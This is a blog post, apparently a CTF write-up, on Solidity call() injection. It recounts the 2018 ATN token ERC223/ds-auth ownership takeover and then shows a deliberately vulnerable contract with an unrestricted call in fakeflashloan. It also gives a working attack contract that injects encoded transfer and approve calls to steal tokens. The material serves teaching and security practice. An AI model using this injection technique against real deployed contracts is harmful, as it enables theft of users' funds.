Smart Contract Call Injection Vulnerability

Contract Call Injection Vulnerability



written in front

The purpose of writing this article is to summarize some of the problems encountered by bloggers when doing a shooting range topic in the past two days, as well as some insights into call injection.

Call function

First of all, let's understand the call function:

there are two ways to call between contracts: the underlying call method and the new contract method.

Solidity provides three functions: call(), delegatecall(), and callcode() to implement direct contract calls and interaction, the misuse of these functions leads to various security risks and vulnerabilities. When using the second method, if it is not handled properly, it is likely to cause a fatal loophole - a cross-contract call loophole, which is mainly caused by the call() injection function.

The call() function can call a contract or a method of a local contract in two ways:

  • <address>.call(方法选择器,arg1,arg2,...)
  • <address>.call(bytes)

To sum up, the recommended way to call between contracts is: through the new contract, call through the contract, not call, because this will lose control.

case analysis

Next, let's take a deeper look at the call function through a case of call injection attack:

At noon on May 11, 2018, ATN technicians received an abnormal monitoring report showing that the supply of ATN Token was abnormal. After quickly intervening, they found that the Token contract was attacked due to a loophole.

The ATN Token contract uses the extended version ERC223 based on the traditional ERC20 Token contract, and uses the dapphub/ds-auth library in it.
There is no problem when using the ERC223 or ds-auth library alone, but when the two are combined, the hacker uses the callback function to call back the setOwner method to obtain advanced permissions.

The ERC223 transfer code is as follows:
insert image description here

The hacker successfully implemented the attack by entering the following parameters in the method when transferring money:
insert image description here

When the transaction is executed, the receiver will be assigned a value by _to (ATN contract address), and the ATN contract will call _custom_fallback, which is the setOwner(adddress) method in DSAuth. At this time, msg.sender becomes the ATN contract address, and the owner_ parameter is _from (hacker address).

The setOwner code in the ds-auth library is as follows:
insert image description here

When executing setOwner, the auth validity will be verified first, and at this time! msg.sender is the contract address of ATN, so it perfectly avoids the auth check. The modifier auth code for setOwner:
insert image description here

In general

  1. The Call function is too free and should be used with caution as an underlying function. For some sensitive operations or permission judgment functions, do not easily use the account address of the contract itself as a trusted address.
  2. Called functions should be strictly restricted to avoid the hidden danger of calling arbitrary functions
  3. If you use custom_fallback and ds-auth contracts similar to those recommended by ERC223, or Ethereum Tokens with other authority-controlled contracts built in, there may also be this call injection problem

Vulnerability analysis:

Through the above introduction, everyone must have their own understanding of the call function and its vulnerabilities.

When the call function appears in the underlying contract, special attention should be paid to it. If it is not necessary, it is best not to use it, and use new instead.

The main attack ideas of call injection:

Since the type of the call parameter is not limited, this gives the parameter a lot of freedom. The hacker can call all the methods associated with this contract by constructing the parameter, and the value of msg.sender will become the address of the contract when calling, which means Some judgment conditions of key functions may be bypassed, so that hackers can gain benefits through "impersonation call".

Range topic:

Having said so much, let's go back to the starting point of the problem:
the source code of the vulnerability is as follows:

pragma solidity ^0.4.19;
contract Vuln{
    address public owner;
    string public name     = "Chain";
    string public symbol   = "CHA";
    uint8  public decimals = 18;
    uint public totalSupply=10000000000;
    bool  public isLoan=false;
    bool public solved;
    event  Approval(address indexed from, address indexed to, uint number);
    event  Transfer(address indexed from, address indexed to, uint number);
    event  Deposit(address indexed to, uint number);
    event  Withdrawal(address indexed from, uint number);

    mapping (address => uint)                       public  balanceOf;
    mapping (address => mapping (address => uint))  public  allowance;
    constructor() public{
        owner=msg.sender;
        balanceOf[owner]=totalSupply/2;
        balanceOf[address(this)]=totalSupply/2;
    }


    function withdraw(uint number) public {
        require(balanceOf[msg.sender] >= number);
        balanceOf[msg.sender] -= number;
        (msg.sender).transfer(number);
        emit Withdrawal(msg.sender, number);
    }


    function approve(address to, uint number) public returns (bool) {
        allowance[msg.sender][to] = number;
        emit Approval(msg.sender, to, number);
        return true;
    }

    function transfer(address _to, uint _value) public returns (bool) {
        require(balanceOf[msg.sender] - _value >= 0);
        balanceOf[msg.sender] -= _value;
        balanceOf[_to] += _value;
    return true;
    }

    function fakeflashloan(uint256 value,address target,bytes memory data) public{
        require(isLoan==false&&value>=0&&value<=1000);
        balanceOf[address(this)]-=value;
        balanceOf[target]+=value;

        address(target).call(data);

        isLoan=true;
        require(balanceOf[target]>=value);
        balanceOf[address(this)]+=value;
        balanceOf[target]-=value;
        isLoan=false;
    }

    function transferFrom(address from, address to, uint number)
        public
        returns (bool)
    {
        require(balanceOf[from] >= number);

        if (from != msg.sender && allowance[from][msg.sender] != 2**256-1) {
            require(allowance[from][msg.sender] >= number);
            allowance[from][msg.sender] -= number;
        }

        balanceOf[from] -= number;
        balanceOf[to] += number;

        emit Transfer(from, to, number);

        return true;
    }
    function isSolved() public returns(bool){
        return solved;
    }

    function complete() public {

        require(balanceOf[msg.sender]>10000);
        require(allowance[address(this)][msg.sender]>10000);
        solved=true;

    }
}

The requirement to get the flag is to make isSolved() return true. After reading the source code, we found that the problem requires us to achieve the two restrictions in the function
through attacks :complete()

 function complete() public {

        require(balanceOf[msg.sender]>10000);
        require(allowance[address(this)][msg.sender]>10000);
        solved=true;

 }

That is, let us use the loophole to successfully steal more than 10,000 tokens from the contract.

Let us focus on fakeflashloan()this strange function. We can notice that this function does not have very strict "access conditions", so we can execute it easily To the call method inside:

function fakeflashloan(uint256 value,address target,bytes memory data) public{
        require(isLoan==false&&value>=0&&value<=1000);
        balanceOf[address(this)]-=value;
        balanceOf[target]+=value;

        address(target).call(data);

        isLoan=true;
        require(balanceOf[target]>=value);
        balanceOf[address(this)]+=value;
        balanceOf[target]-=value;
        isLoan=false;
    }

The parameters following the call are bytes type data, which gives us a lot of room for manipulation. At this time, I thought of at least two ways to get the flag, one is to call the transfer and approve functions to transfer money to myself through call injection, and implement the method after stealing coins complete(). Another way is more opportunistic, call the approve function through call injection, and _tofill in the contract address, so that the allowance will record the approval of a token that the contract itself gave itself, and can also bypass the two restrictions of complete to get the flag.

But I I feel that the original intention of the topic should be to complete the stealing attack, so I realized it. The attack contract is as follows:

pragma solidity ^0.4.19;

import"./Vuln.sol";

contract Attack{

    Vuln cont;
    
    constructor(address _adr){
        cont = Vuln(_adr);
    }

    function attack() public {
        bytes memory byt;
        bytes memory byt2;
        address adr=0x100200fF289D4dA0634fF36d7f5D96524f7EFf67;//我的账户地址
        byt  =  abi.encodePacked(bytes4(keccak256("transfer(address,uint256)")),bytes32(adr),bytes32(10001));
        byt2 =  abi.encodePacked(bytes4(keccak256("approve(address,uint256)")),bytes32(adr),bytes32(10001));
        cont.fakeflashloan(1000,address(cont),byt);//transfer 10001个token给我
        cont.fakeflashloan(1000,address(cont),byt2);//approve 10001个token的approve给我
    }

}

Note: The compilation environment of solidity 7.0 was used in the original question. In the new version of solidity, it is not allowed to attack the bytes32(adr),bytes32(10001)syntax in the contract, so I directly chose to use a lower version to temporarily replace it.

PS: I will update the writing of the new version in the follow-up

Here we call fakeflashloan()the problem function to construct bytand byt2such bytes to realize the function call of call injection.

Constructing this bytes accounted for 90% of my problem-solving time, and the attack was ineffective all the time, because the range testnet had no way to debug, which brought me a lot of difficulties. In the end, I chose to leave the testnet environment of the shooting range and test locally.

For the construction of bytes, you can refer to the abi reference document of solidityinsert image description here

Attack effect:

capture the flag:
insert image description here

After the contract is attacked:
insert image description here
insert image description here

Guess you like

Origin blog.csdn.net/qq_51191173/article/details/125360495